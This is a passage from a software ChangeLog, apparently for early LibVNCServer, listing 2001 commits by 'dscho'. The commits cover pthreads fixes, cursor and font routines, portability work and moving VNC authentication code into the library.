8295
8296 * TODO: todo
8297
82982001-10-13 dscho <dscho>
8299
8300 * CHANGES, Makefile, README, TODO, auth.c, bdf2c.pl,
8301 consolefont2c.pl, cursor.c, default8x16.h, draw.c, font.c,
8302 fontsel.c, keysym.h, main.c, radon.h, rfb.h, selbox.c: rfbSelectBox,
8303 consoleFonts, too many changes
8304
83052001-10-12 dscho <dscho>
8306
8307 * Makefile: changes to Makefile
8308
83092001-10-12 dscho <dscho>
8310
8311 * README, rfb.h, rfbserver.c: cleanups
8312
83132001-10-11 dscho <dscho>
8314
8315 * auth.c, corre.c, httpd.c, main.c, rfb.h, rfbserver.c, rre.c,
8316 sockets.c, sraRegion.c, tableinit24.c, tableinittctemplate.c,
8317 tight.c, zlib.c: replaced xalloc with malloc functions, udp input
8318 support (untested), fixed http
8319
83202001-10-10 dscho <dscho>
8321
8322 * CHANGES, TODO, main.c, rfb.h, rfbserver.c: copyrect corrections,
8323 fd_set in rfbNewClient, dox in rfb.h for pthreads problem
8324
83252001-10-10 dscho <dscho>
8326
8327 * Makefile, cursor.c, main.c, rfb.h, rfbserver.c, sockets.c:
8328 pthreads corrections
8329
83302001-10-09 dscho <dscho>
8331
8332 * sockets.c: start udp
8333
83342001-10-08 dscho <dscho>
8335
8336 * Makefile, region.h, rfbserver.c: removes region.h
8337
83382001-10-07 dscho <dscho>
8339
8340 * Makefile, README, tabletrans24template.c: fixed 24bit (update was
8341 garbled)
8342
83432001-10-07 dscho <dscho>
8344
8345 * bdf2c.pl, font.c, main.c, rfb.h, rfbserver.c: font corrections,
8346 displayHook
8347
83482001-10-06 dscho <dscho>
8349
8350 * README, d3des.c, example.c, example.dsp, httpd.c, kbdptr.c,
8351 libvncserver.dsp, libvncserver.dsw, main.c, rfb.h, rfbserver.c,
8352 sockets.c, tableinitcmtemplate.c, tight.c, translate.c, vncauth.c:
8353 WIN32 compatibility, removed kbdptr.c
8354
83552001-10-05 dscho <dscho>
8356
8357 * CHANGES, TODO, cursor.c, example.c, main.c, rfb.h, rfbserver.c:
8358 changed cursor functions to use screen info, not cursor fixed copy
8359 rect.
8360
83612001-10-05 dscho <dscho>
8362
8363 * Makefile, bdf2c.pl, example.c, font.c, radon.h, rfb.h: extracted
8364 font routines from example
8365
83662001-10-04 dscho <dscho>
8367
8368 * CHANGES, Makefile, TODO, main.c, rfb.h, rfbserver.c:
8369 rfbDoCopyRect/Region and rfbScheduleCopyRect/Region.
8370
83712001-10-04 dscho <dscho>
8372
8373 * rfb.h: tried to compile on Sparcs. Original cc has problems. ar
8374 isn't there.
8375
83762001-10-04 dscho <dscho>
8377
8378 * CHANGES, TODO, cursor.c, main.c, rfb.h, rfbserver.c: fixed 2
8379 pthreads issues, added noXCursor option.
8380
83812001-10-03 dscho <dscho>
8382
8383 * TODO, main.c: working on IRIX pthreads problem
8384
83852001-10-03 dscho <dscho>
8386
8387 * TODO, rfbserver.c: java viewer bug fixed
8388
83892001-10-03 dscho <dscho>
8390
8391 * CHANGES, Makefile, TODO, main.c, rfb.h, rfbserver.c, sockets.c,
8392 stats.c, tight.c: upgraded to TridiaVNC 1.2.1
8393
83942001-10-02 dscho <dscho>
8395
8396 * Makefile, TODO, cursor.c, d3des.c, main.c, rfb.h, rfbserver.c,
8397 sockets.c, translate.c, vncauth.c: no more compile warnings, pthread
8398 final(?) fixes
8399
84002001-10-02 dscho <dscho>
8401
8402 * TODO: some todo items
8403
84042001-10-02 dscho <dscho>
8405
8406 * CHANGES, cursor.c, rfb.h: implemented rfbSetCursor
8407
84082001-10-02 dscho <dscho>
8409
8410 * rfb.h: prototype for rfbSendBell
8411
84122001-10-02 dscho <dscho>
8413
8414 * CHANGES: changes
8415
84162001-10-02 dscho <dscho>
8417
8418 * pnmshow24.c, tableinit24.c, tabletrans24template.c: forgot files
8419 for 3 bpp
8420
84212001-10-02 dscho <dscho>
8422
8423 * Makefile, README, TODO, example.c, main.c, rfb.h, rfbserver.c,
8424 sockets.c, tableinitcmtemplate.c, translate.c: support for server
8425 side colour maps, fix for non-pthread, support for 3bpp
8426
84272001-10-01 dscho <dscho>
8428
8429 * TODO: have to upgrade to newest VNC sources
8430
84312001-09-29 dscho <dscho>
8432
8433 * Makefile, README, TODO, example.c, main.c, rfb.h, rfbserver.c,
8434 sockets.c: finally fixed pthreads
8435
84362001-09-29 dscho <dscho>
8437
8438 * TODO, cursor.c: nother try
8439
84402001-09-29 dscho <dscho>
8441
8442 * Makefile, cursor.c, main.c, rfb.h, rfbserver.c, sockets.c: more
8443 pthread debugging
8444
84452001-09-29 dscho <dscho>
8446
8447 * Makefile, main.c, rfb.h: cleaned up pthreads (now compiles) and
8448 rfb.h (first undefine TRUE)
8449
84502001-09-29 dscho <dscho>
8451
8452 * Makefile, README, TODO, include/X11/X.h, include/X11/Xalloca.h,
8453 include/X11/Xfuncproto.h, include/X11/Xfuncs.h, include/X11/Xmd.h,
8454 include/X11/Xos.h, include/X11/Xosdefs.h, include/X11/Xproto.h,
8455 include/X11/Xprotostr.h, include/X11/keysym.h,
8456 include/X11/keysymdef.h, include/Xserver/colormap.h,
8457 include/Xserver/cursor.h, include/Xserver/dix.h,
8458 include/Xserver/gc.h, include/Xserver/input.h,
8459 include/Xserver/misc.h, include/Xserver/miscstruct.h,
8460 include/Xserver/opaque.h, include/Xserver/os.h,
8461 include/Xserver/pixmap.h, include/Xserver/region.h,
8462 include/Xserver/regionstr.h, include/Xserver/screenint.h,
8463 include/Xserver/scrnintstr.h, include/Xserver/validate.h,
8464 include/Xserver/window.h, main.c, miregion.c, region.h, rfb.h,
8465 rfbserver.c, sraRegion.c, sraRegion.h, translate.c, xalloc.c:
8466 dropped miregion and all the X stuff in favour of Wez' sraRegion,
8467 added dox
8468
84692001-09-28 dscho <dscho>
8470
8471 * cursor.c, rfb.h: exported rfbReverseByte
8472
84732001-09-28 dscho <dscho>
8474
8475 * cursor.c: don't send a cursor update if there is no cursor
8476
84772001-09-28 dscho <dscho>
8478
8479 * README, TODO: small changes to README (contact) and TODO
8480 (autoconf?)
8481
84822001-09-28 dscho <dscho>
8483
8484 * Makefile: libvncserver.a is not deleted by make clean
8485
84862001-09-28 dscho <dscho>
8487
8488 * example.c: unnecessary include
8489
84902001-09-28 dscho <dscho>
8491
8492 * Makefile, example.c, rfb.h: now compiles on FreeBSD
8493
84942001-09-28 dscho <dscho>
8495
8496 * Makefile: make clean now cleans mac.o pnmshow.o and example.o
8497
84982001-09-27 dscho <dscho>
8499
8500 * README, cursor.c, main.c, rfb.h, rfbserver.c: added
8501 setTranslateFunction as member of rfbScreenInfo, cursor may be NULL
8502 (no cursor).
8503
85042001-09-27 dscho <dscho>
8505
8506 * Makefile, mac.c, rfb.h: try to make OSXvnc run again.
8507
85082001-09-27 dscho <dscho>
8509
8510 * README, TODO, example.c, main.c, rfb.h: docu and cursors in
8511 examples.
8512
85132001-09-26 dscho <dscho>
8514
8515 * Makefile, README, TODO, example.c, httpd.c, main.c, pnmshow.c,
8516 rfb.h: API corrections
8517
85182001-09-26 dscho <dscho>
8519
8520 * TODO, main.c, pnmshow.c: adapted pnmshow to aligned width
8521
85222001-09-25 dscho <dscho>
8523
8524 * example.c, tabletranstemplate.c: look for align bug with odd
8525 width. Bug in vncviewer?
8526
85272001-09-25 dscho <dscho>
8528
8529 * d3des.c, d3des.h, libvncauth/Imakefile, libvncauth/Makefile,
8530 libvncauth/d3des.c, libvncauth/d3des.h, libvncauth/vncauth.c,
8531 libvncauth/vncauth.h, vncauth.c: permanently moved authorization
8532
85332001-09-25 dscho <dscho>
8534
8535 * Makefile, rfb.h, storepasswd.c: moved vncauth to libvncserver
8536
85372001-09-25 dscho <dscho>
8538
8539 * .depend: rmoved unneccessary files
8540
85412001-09-25 dscho <dscho>
8542
8543 * Makefile, TODO, cursor.c, example.c, keysym.h, main.c, pnmshow.c,
8544 region.h, rfb.h, rfbserver.c: fix cursor bug; missing keysym; fix
8545 align problem on SGI; clean up cursor.c clean up rfb.h a bit; endian
8546 issues
8547
85482001-09-24 dscho <dscho>
8549
8550 * region.h: forgot file
8551
85522001-09-24 dscho <dscho>
8553
8554 * Makefile, TODO, cursor.c, example.c, include/Xserver/os.h,
8555 main.c, miregion.c, pnmshow.c, rfb.h, rfbserver.c, sockets.c,
8556 xalloc.c: bugfix: cursor (works now without xcursor encoding)
8557
85582001-09-24 dscho <dscho>
8559
8560 * cursor.c, example.c, main.c, rfb.h, rfbserver.c: cursor changes
8561
85622001-09-23 dscho <dscho>
8563
8564 * Makefile, README, TODO, cursor.c, example.c, httpd.c, main.c,
8565 rfb.h, rfbserver.c, sockets.c, zlib.c: cleaned up warnings, cursor
8566 changes
8567
85682001-09-21 dscho <dscho>
8569
8570 * Makefile, classes/index.vnc, cursor.c, example.c, httpd.c,
8571 main.c, rfb.h: http added, prepare for cursor
8572
85732001-09-20 dscho <dscho>
8574
8575 * README: changed README at last
8576
85772001-09-13 dscho <dscho>
8578
8579 * Makefile, bdf2c.pl, example.c, radon.h: Now you can write
8580 something in addition to mouse movements ...
8581
85822001-08-14 dscho <dscho>
8583
8584 * Makefile, example.c, main.c, pnmshow.c: comments & new example:
8585 pnmshow
8586
85872001-08-14 dscho <dscho>
8588
8589 * example.c, main.c, rfb.h: now lines are drawn for the example,
8590 first steps to make clients independent.
8591
85922001-08-14 dscho <dscho>
8593
8594 * Makefile, example.c, main.c, rfb.h, rfbserver.c: hooks inserted
8595
85962001-08-01 dscho <dscho>
8597
8598 * Initial revision
8599